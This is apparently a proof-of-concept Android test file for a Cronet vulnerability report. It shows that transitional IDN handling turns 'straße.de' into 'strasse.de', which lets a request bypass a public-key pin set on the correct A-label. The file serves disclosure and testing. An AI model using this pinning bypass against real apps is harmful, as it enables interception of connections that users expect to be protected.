// Android-side POC (requires an Android device or emulator with Cronet).
//
// Demonstrates that Cronet-Android canonicalises a deviation-character host
// to a DIFFERENT registrable domain than Chrome / WHATWG URL, and that a
// public-key pin configured for the WHATWG-correct A-label is silently
// bypassed.
//
// Drop this into an Android instrumented test module that depends on
// org.chromium.net:cronet-api / cronet-embedded (or the in-tree
// //components/cronet/android:cronet_javatests target).
//
// Vulnerable code:
//   url/url_idna_icu_alternatives_android.cc  (JNI -> java.net.IDN)
//   url/android/java/src/org/chromium/url/IDNStringUtil.java
//   components/cronet/android/cronet_url_request_adapter.cc:89  (GURL ctor)
//   components/cronet/.../CronetEngineBuilderImpl.java:450      (PKP host canon)

package org.chromium.net.poc;

import android.content.Context;
import android.util.Log;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import java.net.IDN;
import java.nio.ByteBuffer;
import java.security.MessageDigest;
import java.util.Collections;
import java.util.Date;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executor;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import org.chromium.net.CronetEngine;
import org.chromium.net.CronetException;
import org.chromium.net.UrlRequest;
import org.chromium.net.UrlResponseInfo;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;

@RunWith(AndroidJUnit4.class)
public class CronetPoc {
    private static final String TAG = "CronetIdnPoc";

    // U+00DF LATIN SMALL LETTER SHARP S -- the canonical deviation character.
    private static final String UNICODE_HOST = "straße.de";

    // What WHATWG URL / Chrome url_idna_icu.cc produces (UTS-46 nontransitional).
    // This is the A-label every spec-conforming tool emits for stra<sharp-s>e.de.
    private static final String NONTRANSITIONAL_ALABEL = "xn--strae-oqa.de";

    // What java.net.IDN (transitional / IDNA2003) collapses it to.
    private static final String TRANSITIONAL_COLLAPSE = "strasse.de";

    // ------------------------------------------------------------------
    // 1) Directly proves the canonicaliser differential, no network needed.
    //    Passes on any Android API level.
    // ------------------------------------------------------------------
    @Test
    public void deviationCharacterCollapsesToDifferentDomain() {
        String cronetCanon = IDN.toASCII(UNICODE_HOST, IDN.USE_STD3_ASCII_RULES);
        Log.e(TAG, "java.net.IDN.toASCII(\"" + UNICODE_HOST + "\") = " + cronetCanon);
        // This is the bug: cronetCanon is a *different registrable domain* from
        // the one Chrome connects to for the same input string.
        Assert.assertEquals(TRANSITIONAL_COLLAPSE, cronetCanon);
        Assert.assertNotEquals(NONTRANSITIONAL_ALABEL, cronetCanon);

        // ZWJ silently stripped (Chrome with default-on ContextJ rejects this).
        String zwj = IDN.toASCII("a‍b.example", IDN.USE_STD3_ASCII_RULES);
        Log.e(TAG, "java.net.IDN.toASCII(\"a\\u200Db.example\") = " + zwj);
        Assert.assertEquals("ab.example", zwj);
    }

    // ------------------------------------------------------------------
    // 2) End-to-end PKP bypass.
    //
    //    Pins the WHATWG-correct A-label, then requests the Unicode form.
    //    Cronet canonicalises the request host to "strasse.de", the
    //    TransportSecurityState lookup keyed on "xn--strae-oqa.de" misses,
    //    and the request proceeds with no pin enforcement.
    //
    //    For a self-contained run, point DNS for both names at a local TLS
    //    server presenting any leaf cert (set the server as the trust anchor
    //    via network_security_config.xml). With pinning active the request
    //    must FAIL; here it SUCCEEDS, proving the pin was never consulted.
    // ------------------------------------------------------------------
    @Test
    public void pkpBypassViaDeviationCharacter() throws Exception {
        Context ctx = ApplicationProvider.getApplicationContext();
        Executor exec = Executors.newSingleThreadExecutor();

        // A pin that no real cert can satisfy: SHA-256 of a single zero byte.
        byte[] bogusPin = MessageDigest.getInstance("SHA-256").digest(new byte[] {0});

        CronetEngine engine =
                new CronetEngine.Builder(ctx)
                        .enablePublicKeyPinningBypassForLocalTrustAnchors(false)
                        // Pin the WHATWG / Chrome canonical A-label. This is what any
                        // spec-conforming tool tells the developer to pin.
                        .addPublicKeyPins(
                                NONTRANSITIONAL_ALABEL,
                                Collections.singleton(bogusPin),
                                /* includeSubdomains= */ false,
                                new Date(System.currentTimeMillis() + 86_400_000L))
                        .build();

        final CountDownLatch latch = new CountDownLatch(1);
        final String[] resolvedHost = new String[1];
        final Throwable[] failure = new Throwable[1];

        UrlRequest.Callback cb =
                new UrlRequest.Callback() {
                    @Override
                    public void onRedirectReceived(
                            UrlRequest r, UrlResponseInfo info, String newLocationUrl) {
                        r.followRedirect();
                    }

                    @Override
                    public void onResponseStarted(UrlRequest r, UrlResponseInfo info) {
                        // info.getUrl() is the *post-canonicalisation* spec, see
                        // components/cronet/cronet_url_request.cc:222.
                        resolvedHost[0] = info.getUrl();
                        Log.e(TAG, "Connected: " + info.getUrl()
                                + " (negotiated=" + info.getNegotiatedProtocol() + ")");
                        r.read(ByteBuffer.allocateDirect(1024));
                    }

                    @Override
                    public void onReadCompleted(UrlRequest r, UrlResponseInfo info, ByteBuffer b) {
                        b.clear();
                        r.read(b);
                    }

                    @Override
                    public void onSucceeded(UrlRequest r, UrlResponseInfo info) {
                        latch.countDown();
                    }

                    @Override
                    public void onFailed(UrlRequest r, UrlResponseInfo info, CronetException e) {
                        failure[0] = e;
                        latch.countDown();
                    }

                    @Override
                    public void onCanceled(UrlRequest r, UrlResponseInfo info) {
                        latch.countDown();
                    }
                };

        // The app *intends* to fetch xn--strae-oqa.de (the pinned host).
        // Cronet will instead connect to strasse.de with NO pin check.
        engine.newUrlRequestBuilder("https://" + UNICODE_HOST + "/", cb, exec).build().start();
        latch.await(30, TimeUnit.SECONDS);
        engine.shutdown();

        Log.e(TAG, "resolvedHost=" + resolvedHost[0] + " failure=" + failure[0]);

        // BUG: the request did NOT fail with a pinning error, and the host it
        // actually contacted is strasse.de -- a different registrable domain
        // from the one we pinned.
        Assert.assertTrue(
                "expected canonicalised URL to contain 'strasse.de' (transitional collapse); got "
                        + resolvedHost[0],
                resolvedHost[0] != null && resolvedHost[0].contains(TRANSITIONAL_COLLAPSE));
        Assert.assertFalse(
                "request to pinned host should have failed PKP but did not",
                failure[0] != null
                        && failure[0].toString().toLowerCase().contains("pin"));
    }
}
